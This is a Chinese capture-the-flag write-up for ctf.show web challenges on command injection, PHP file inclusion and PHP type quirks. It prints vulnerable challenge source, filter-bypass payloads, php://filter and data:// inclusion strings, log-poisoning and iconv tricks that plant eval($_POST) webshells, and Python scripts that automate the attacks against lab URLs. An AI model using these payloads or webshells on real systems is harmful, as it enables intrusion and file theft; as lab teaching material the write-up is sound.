echo $UID 表示当前用户的用户名,该变量的值与”id-u”命令的结果一致
echo $SHELL 表示当前用户的登录Shell,值与”passwd”文件中的Shell字段一致
echo $HOME 表示当前用户的登录目录(宿主目录),值与”psaawd”文件中home字段一致
echo $PWD 表示用户当前所在的目录,值与pwd命令的结果一致
echo $PATH 表示当前用户的命令搜索路径
echo $PS1 和echo $PS2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root💀kali)-[~]
└─# echo ${PWD}
/root

┌──(root💀kali)-[~]
└─# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t

┌──(root💀kali)-[~]
└─# echo ${PWD:~0}
t

┌──(root💀kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同样作用
t

┌──(root💀kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

┌──(root💀kali)-[~]
└─# echo ${PATH:~A}
n

------
$PWD和${PWD} /var/www/html --结果一样
${#PWD} 13 --$PWD的长度
${PWD:3} r/www/html --顺序,从下标为3开始打印
${PWD:~3} html --逆序,从下标为3开始打印
${PWD:3:1} r --顺序,打印下标为3的1个字符
${PWD:~3:1} h --逆序,打印下标为3的1个字符
${SHLVL:~A} 1 --A是字符串 转换为数字相当于0

这题的思路就是通过环境变量拼接出可以读取flag的命令,例如这样拼接出ls命令

web118-4

我们可以拼接出 nl 命令(当然也可以拼接cat等等)对flag进行读取,nl 命令和cat差不多,可以打印出内容并且带行号。但是题目白名单不包括数字所以只能使用大写字母

1
2
3
4
5
6
7
8
9
只能使用大写字母进行拼接:
${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

${PWD}
/var/www/html

所以payload为
${PATH:~A}${PWD:~A} ????.??? ---nl ????.??

源码中找到flag

web119

操作和上一关一样,但是这一关禁用了PATH变量,那么就不用构造 nl 了,我们构造 /bin/cat 。而想要匹配到我们至少需要一个/符号和一个cat中的一个字母,这里使用${SHLVL}来配合构造/

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

所以前半部分就是

1
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}? ---/???/?

现在还需要构造后半部分的 at ,然后一般网站给的权限是 www-data (当前用户)刚好符合我们需要的 at,但是需要我们构造出数字2来去字符,而数字又是被禁用的

随后发现关卡使用的PHP版本末尾刚好有数字2,要使用到PHP_VERSION变量

于是后半部分构造为

1
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.??? ---at ????.???

所以最后的payload(变量$分别替代

$为添加到shell的参数个数,$则为值 所以最终payload为

1
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web121.png) 在kali中逆向输出一下即可 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web121-1.png) ​ ### web122 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>
过滤了#号,数字1的话我们没法使用`$了,这里使用$?`,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。过滤了PWD,可以用HOME取 /

下面是一些系统报错返回的数字,通过<A可以使系统报错返回1,而$?刚好接收到这个返回值

1
2
3
4
5
6
7
8
9
10
"OS error code   1:  Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"

最后需要考虑用什么命令来读取文件,这里根据提示使用 /bin/base64 —-/???/?????4

数字4使用${RANDOM}来获取,因为具有随机性,所以要多次执行,可以使用脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web122.py
# time: 2023/7/26 14:50

import requests

url = "http://4380918e-2a96-4d50-810b-29148d890943.challenge.ctf.show/"
data = {'code': r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
result = requests.post(url=url, data=data)
if "PD9waHA" in result.text:
print(result.text)
break

base64解码一下即可

web124

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

GET方式c传参,长度不能超过80,有黑名单检测。白名单检测,正则匹配字符,全部绕过即可eval命令执行

使用到的函数base_convert()getallheaders

主要函数

1
2
3
4
base_convert  		#在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码

我们需要构造$_GET 把参数逃逸出去

转成10进制 多转一层绕过过滤

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

// 把 hex2bin转化为10进制
echo base_convert("hex2bin", 36, 16); //37907361743
echo "<br>";
echo base_convert("8d3746fcf", 16, 36); //hex2bin
echo "<br>";
//把_GET 先转为16进制再转为10进制
echo hexdec(bin2hex("_GET")); //1598506324
echo "<br>";
echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324")); // 绕过过滤拿到 "_GET"
?>

payload

1
2
3
4
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php

$$pi{abs}($$pi{acos}) #相当于 $_GET['abs']($_GET['acos'])
--- ?c=_GET;$_GET['abs']($_GET['acos'])&abs=system&acos=cat flag.php ---system('cat flag.php')

有很多解法,还可以 getallheaders 利用请求头传语句

长度限制 80 是很容易超长的,何况还有白名单函数的限制,不能直接输入 cat 等命令,而我们可以利用 getallheaders 这个函数,把命令放在请求头来拼接语句。

函数解释:

getallheaders ( void ) : array

获取全部 HTTP 请求头信息。

payload:

1
2
3
4
Copy$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){3})
base_convert(696468,10,36) -> exec
base_convert(8768397090111664438,10,30) -> getallheaders
---exec(getallheaders(){3})

在报文头中相应属性,值为要执行的命令:例如上面的命令我们需要在请求头添加 3: cat flag.php

注意:数据包结构要正确,请求头与请求体之间必须要有空行;如果没有请求体,那么需要用至少一行空行替代,代表请求体为空,否则是无法请求成功的。像这样↓

以下为错误的请求包格式

文件包含(78-117)

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

PHP文件包含伪协议

稍微介绍这些协议: php伪协议.html

1.file:// 协议:

用于访问本地的文件系统,文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

不受allow_url_fopen,allow_url_include 影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
file:// [文件的绝对路径和文件名]

  • /path/to/file.ext
  • relative/path/to/file.ext
  • fileInCwd.ext
  • C:/path/to/winfile.ext
  • C:\path\to\winfile.ext
  • \smbserver\share\path\to\winfile.ext
  • file:///path/to/file.ext

例如:http://www.xx.com?file=file:///etc/passsword
http://www.xx.com?file=file://../../../../etc/passsword
http://www.xx.com?file=file://C:/windows/Temp/flag.txt

2.php:// 协议

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
php:// 可以用于访问各个输入/输出流(I/O streams)

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

在CTF中常用php://filterphp://inputphp://filter用于读取源码,php://input用于执行php代码

1.php://filter

PHP.ini配置要求
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
通常用于读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
例如:?file=php://filter/read/convert.base64-encode/resource=flag.php不知道为什么这样也行
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/读方式=编码/资源=资源名

2.php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini配置要求
allow_url_fopen :off/on
allow_url_include:on
通常用于POST执行代码或者写入木马
例如:http://127.0.0.1/cmd.php?file=php://input
[POST DATA] 内容为<?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

3.data:// 协议

这是一个数据流封装器经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini配置要求:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on

该协议会将输入的代码执行
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)

data协议 php5.2.0起,数据流封装器开始有效
data伪协议的一些格式:

  data://,<文本数据>

  data://text/plain,<文本数据>

  data://text/html,<html代码>

  data://text/css,<CSS代码>

  data://text/javascript,<js代码>

  data://text/gif;base64,<base64编码的gif图片数据>
  
  协议里的双斜杠 // 可以去掉

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

web78

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

未发现过滤,直接读取读不到flag,使用伪协议读取,利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

解码一下base64

web79

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了php字符,出现会被???替代。PHP伪协议可以大小写绕过,flag.php可以按照flag.*去查找。那我们使用php://input

1
2
?file=Php://input
[post data]为 <?php system("tac flag.php");?> ---使用cat可能使PHP文件执行而不显示,tac反向输出破坏lphp语句,可以输出

不知道为什么绿色的hackbar不行,黑色的才行

使用data://协议读文件

1
2
?file=data://text/plain;base64,<?php system(cat flag.php);?> ---命令代码需要base64一下
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

右键源码里找到flag

web80

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

多了一个过滤,本以为可以直接使用上一把payload,结果发现不行。不应该啊,应该是文件名改了

web81

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了冒号,试了一些编码也无法绕过。题目提示”包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log”

日志文件,那么抓包写马咯

首先看日志都会记录些什么,一眼很明显的 User-Agent

抓包,写马

蚁剑连接

找flag


既然能执行php代码,那么还可以直接在UA头插入<?php system('cat fl0g.php');?>,放包后访问日志文件,源码里就可以找到flag


还可以这样,先 GET 传马, 后 POST 利用马


还可以直接使用$_REQUEST,不用转请求方式啦

web82

web83

web84

web85

web86

web87

web88

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

过滤了php而且不区分大小写,那我们使用 data:// 协议

因为base64编码后有=,我们去掉=不要影响代码执行效果

payload

1
 

读取flag

payload

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

web116

题目提示为misc+LFI,打开网站是一个视频

首先我们要先找到源码,随手包含一下 /var/www/html

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

过滤了base64字符串等

因为是本地文件包含,我们直接用 file://包含flag

web117

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

需要两个参数,GET和POST,file_put_contents()函数又是网文件中写数据,所以思路就是写shell,但是

"<?php die();?>"又称死亡代码,需要绕过,常用的 rot13,base64,string编码绕过也被过滤了

这里还有其他绕过编码的方式convert.iconv.UCS-2LE.UCS-2BE、convert.iconv.UCS-4LE.UCS-4BE

对于iconv字符编码转换进行绕过的手法,其实类似于上面所述的base64编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;被反转而无法执行,而我们的恶意代码正常解码存储。,usc-2、usc-4等等,前者是2位一反转,所以shell要是2的倍数,例如

1
<?php @eval($_POST[ab]);?> ----> ?<hp pe@av(l_$OPTSa[]b;)>?

而后者是4位一反转,所以shell是4的倍数,例如

1
<?php @eval($_POST[abcd]);?> ----> hp?<e@ p(lavOP_$a[TS]dcb>?;)

所以我们的payload

1
2
3
4
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
或者
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
【postdata】为:?<hp pe@av(l_$OPTSa[]b;)>?

上传webshell之后我们访问该文件进行操作

读取flag(网站出了点问题),只能用py脚本跑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web117.py
# time: 2023/8/2 11:15

import requests

url = "http://6d901976-9095-46e1-ab22-38d48fd70aae.challenge.ctf.show/"
get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php"
get_url = url + "?file=" + get_data
data = {
'contents': '?<hp pe@av(l_$OPTSa[]b;)>?'
}
res = requests.post(url=get_url, data=data)
shell_url = url + "shell.php"
test = requests.get(shell_url)
if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'ab': 'system("cat flag.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text)

php特性(89-150_plus)

web89

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

首先第一个if判断有无参数num,第二个if正则匹配有没有数字,第三个if如果能为1的话,就可执行if里的语句,而intval函数用于object时会发生错误并返回1,所以payload为

1
?num[]=1

web90

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

intval()函数绕过,因为检测的是字符串,可以使用正负符号,小数点等等

web91

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

输入的参数要进入正则,并且不能被检测出php。第一个if需要匹配到php,而第二个if如果匹配到php就会输出hacker,绕过需要不让它匹配到,这里有一个正则匹配的知识点

/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

所以payload

1
?cmd=%0aphp

web92

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

Note:

如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。

所以我们可以使用不同的进制数来绕过;intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123

所以payload

1
2
3
?num=0x117C
或者
?num=4476e123

web93

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

加入了对字母的过滤,我发现使用小数它只会输出小数点前面的数字,所以可以用小数点绕过;还可以使用不同进制,0b开头-> 二进制,0开头 -> 八进制, 0X开头 ->16进制,所以还可以使用二进制

1
2
3
?num=4476.1
或者
?num=010574

web93

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
1
strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:字符串位置从 0 开始,不是从 1 开始。

加入一个新函数strpos()查找字符串首次出现的位置,返回的是数字,所以要求0在第二位,上把payload加空格刚合适

1
?num= 010574

web94

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

多过滤一个小数点,咱们继续使用上一把的payload,可以通过8进制绕过但是前面必须多加一个字节。

1
?num= 010574

web96

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

读取文件,参数不等于flag.php,那直接加个./即可(./代表目前所在的目录,. ./代表上一层目录。/代表根目录),有多种办法,php伪协议也可以

1
2
3
?u=./flag.php
或者
?u=file:///var/www/html/flag.php

web97

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

使用数组绕过 PHP弱类型比较.html

php的md5( string $str[, bool $raw_output = FALSE] ) ,md5()函数的需要一个string类型的参数。当传入一个array时,md5()不会报错,无法求出array的md5值,结果为NULL, 这就会导致任意2个array的md5值都会相等。

所以我们使用两个数组

1
a[]=1&b[]=2

web98

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

这里是三目运算符和取地址,第二行和第三行是无用的,因为我们不传flag参数,所以我们分析一下第一行和第四行

第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
第四行:如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag

所以思路就是使用POST传递HTTP_FLAG的值为flag,覆盖GET,输出flag

1
2
?a=test
[POSTdata]为 HTTP_FLAG=flag

web99

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

首先是创建一个数组,使用 array_push($allow, rand(1,$i)) 从36到0x36d进行数组的随机填充;当我们GET传的参数在该数组时,使用file_put_content()函数以GET传入的参数为文件名,POST传入数据写入数据库。

in_array() 函数搜索数组中是否存在指定的值

1
2
php
in_array(search,array,type)
参数 描述
